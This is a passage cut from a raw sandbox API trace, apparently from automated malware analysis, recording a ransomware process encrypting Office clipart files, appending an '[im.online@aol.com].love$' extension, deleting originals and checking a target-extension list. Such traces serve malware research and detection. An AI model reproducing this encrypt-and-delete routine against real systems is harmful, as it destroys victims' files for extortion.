dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.659] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4870) returned 1 [0229.659] CloseHandle (hObject=0x404) returned 1 [0229.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0229.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.660] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.660] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0229.661] GetLastError () returned 0x0 [0229.661] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1306, lpOverlapped=0x0) returned 1 [0229.663] WriteFile (in: hFile=0x424, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1310, lpOverlapped=0x0) returned 1 [0229.665] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.665] WriteFile (in: hFile=0x424, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.665] SetEndOfFile (hFile=0x424) returned 1 [0229.665] CloseHandle (hObject=0x424) returned 1 [0229.941] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.941] SetEndOfFile (hFile=0x404) returned 1 [0229.963] CloseHandle (hObject=0x404) returned 1 [0229.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0229.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.965] lstrlenW (lpString=".doc") returned 4 [0229.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.965] lstrlenW (lpString=".docx") returned 5 [0229.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.965] lstrlenW (lpString=".pdf") returned 4 [0229.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.965] lstrlenW (lpString=".xls") returned 4 [0229.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.965] lstrlenW (lpString=".xlsx") returned 5 [0229.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.966] lstrlenW (lpString=".ppt") returned 4 [0229.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.966] lstrlenW (lpString=".zip") returned 4 [0229.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.966] lstrlenW (lpString=".rar") returned 4 [0229.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.966] lstrlenW (lpString=".bz2") returned 4 [0229.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.966] lstrlenW (lpString=".7z") returned 3 [0229.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.966] lstrlenW (lpString=".dbf") returned 4 [0229.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.966] lstrlenW (lpString=".1cd") returned 4 [0229.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.966] lstrlenW (lpString=".jpg") returned 4 [0229.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.966] lstrlenW (lpString=".doc") returned 4 [0229.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.966] lstrlenW (lpString=".docx") returned 5 [0229.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.966] lstrlenW (lpString=".pdf") returned 4 [0229.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.967] lstrlenW (lpString=".xls") returned 4 [0229.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.967] lstrlenW (lpString=".xlsx") returned 5 [0229.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.967] lstrlenW (lpString=".ppt") returned 4 [0229.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.967] lstrlenW (lpString=".zip") returned 4 [0229.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.967] lstrlenW (lpString=".rar") returned 4 [0229.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.967] lstrlenW (lpString=".bz2") returned 4 [0229.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.967] lstrlenW (lpString=".7z") returned 3 [0229.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.967] lstrlenW (lpString=".dbf") returned 4 [0229.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.967] lstrlenW (lpString=".1cd") returned 4 [0229.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0229.967] lstrlenW (lpString=".jpg") returned 4 [0229.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.968] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.968] lstrlenW (lpString="BD05119_.WMF") returned 12 [0229.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.969] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=17236) returned 1 [0229.969] CloseHandle (hObject=0x404) returned 1 [0229.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0229.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.970] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.970] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0229.971] GetLastError () returned 0x0 [0229.971] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x4354, lpOverlapped=0x0) returned 1 [0229.975] WriteFile (in: hFile=0x424, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4360, lpOverlapped=0x0) returned 1 [0229.977] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.977] WriteFile (in: hFile=0x424, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.977] SetEndOfFile (hFile=0x424) returned 1 [0229.978] CloseHandle (hObject=0x424) returned 1 [0229.980] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.980] SetEndOfFile (hFile=0x404) returned 1 [0229.984] CloseHandle (hObject=0x404) returned 1 [0229.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0229.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.986] lstrlenW (lpString=".doc") returned 4 [0229.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.986] lstrlenW (lpString=".docx") returned 5 [0229.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.986] lstrlenW (lpString=".pdf") returned 4 [0229.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.986] lstrlenW (lpString=".xls") returned 4 [0229.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.986] lstrlenW (lpString=".xlsx") returned 5 [0229.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.986] lstrlenW (lpString=".ppt") returned 4 [0229.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.986] lstrlenW (lpString=".zip") returned 4 [0229.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.986] lstrlenW (lpString=".rar") returned 4 [0229.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.986] lstrlenW (lpString=".bz2") returned 4 [0229.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.986] lstrlenW (lpString=".7z") returned 3 [0229.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.986] lstrlenW (lpString=".dbf") returned 4 [0229.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.986] lstrlenW (lpString=".1cd") returned 4 [0229.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.987] lstrlenW (lpString=".jpg") returned 4 [0229.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.987] lstrlenW (lpString=".doc") returned 4 [0229.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.987] lstrlenW (lpString=".docx") returned 5 [0229.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.987] lstrlenW (lpString=".pdf") returned 4 [0229.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.987] lstrlenW (lpString=".xls") returned 4 [0229.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.987] lstrlenW (lpString=".xlsx") returned 5 [0229.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.987] lstrlenW (lpString=".ppt") returned 4 [0229.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.987] lstrlenW (lpString=".zip") returned 4 [0229.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.987] lstrlenW (lpString=".rar") returned 4 [0229.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.987] lstrlenW (lpString=".bz2") returned 4 [0229.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.987] lstrlenW (lpString=".7z") returned 3 [0229.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.988] lstrlenW (lpString=".dbf") returned 4 [0229.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.988] lstrlenW (lpString=".1cd") returned 4 [0229.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0229.988] lstrlenW (lpString=".jpg") returned 4 [0229.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.989] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.989] lstrlenW (lpString="BD06102_.WMF") returned 12 [0229.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.989] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=16112) returned 1 [0229.989] CloseHandle (hObject=0x404) returned 1 [0229.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0229.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.990] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.990] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0229.994] GetLastError () returned 0x0 [0229.994] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0230.111] WriteFile (in: hFile=0x424, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0230.112] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.112] WriteFile (in: hFile=0x424, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.112] SetEndOfFile (hFile=0x424) returned 1 [0230.113] CloseHandle (hObject=0x424) returned 1 [0230.114] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.114] SetEndOfFile (hFile=0x404) returned 1 [0230.224] CloseHandle (hObject=0x404) returned 1 [0230.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0230.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.226] lstrlenW (lpString=".doc") returned 4 [0230.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.226] lstrlenW (lpString=".docx") returned 5 [0230.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.226] lstrlenW (lpString=".pdf") returned 4 [0230.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.226] lstrlenW (lpString=".xls") returned 4 [0230.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.226] lstrlenW (lpString=".xlsx") returned 5 [0230.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.226] lstrlenW (lpString=".ppt") returned 4 [0230.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.226] lstrlenW (lpString=".zip") returned 4 [0230.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.226] lstrlenW (lpString=".rar") returned 4 [0230.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.226] lstrlenW (lpString=".bz2") returned 4 [0230.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.226] lstrlenW (lpString=".7z") returned 3 [0230.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.226] lstrlenW (lpString=".dbf") returned 4 [0230.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.226] lstrlenW (lpString=".1cd") returned 4 [0230.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.227] lstrlenW (lpString=".jpg") returned 4 [0230.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.227] lstrlenW (lpString=".doc") returned 4 [0230.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString=".docx") returned 5 [0230.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.227] lstrlenW (lpString=".pdf") returned 4 [0230.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString=".xls") returned 4 [0230.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.227] lstrlenW (lpString=".xlsx") returned 5 [0230.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.227] lstrlenW (lpString=".ppt") returned 4 [0230.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.227] lstrlenW (lpString=".zip") returned 4 [0230.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.227] lstrlenW (lpString=".rar") returned 4 [0230.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.227] lstrlenW (lpString=".bz2") returned 4 [0230.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.228] lstrlenW (lpString=".7z") returned 3 [0230.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.228] lstrlenW (lpString=".dbf") returned 4 [0230.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.228] lstrlenW (lpString=".1cd") returned 4 [0230.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0230.228] lstrlenW (lpString=".jpg") returned 4 [0230.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.228] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.228] lstrlenW (lpString="BD07804_.WMF") returned 12 [0230.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0230.229] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4924) returned 1 [0230.229] CloseHandle (hObject=0x404) returned 1 [0230.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0230.229] GetFileAttributesW 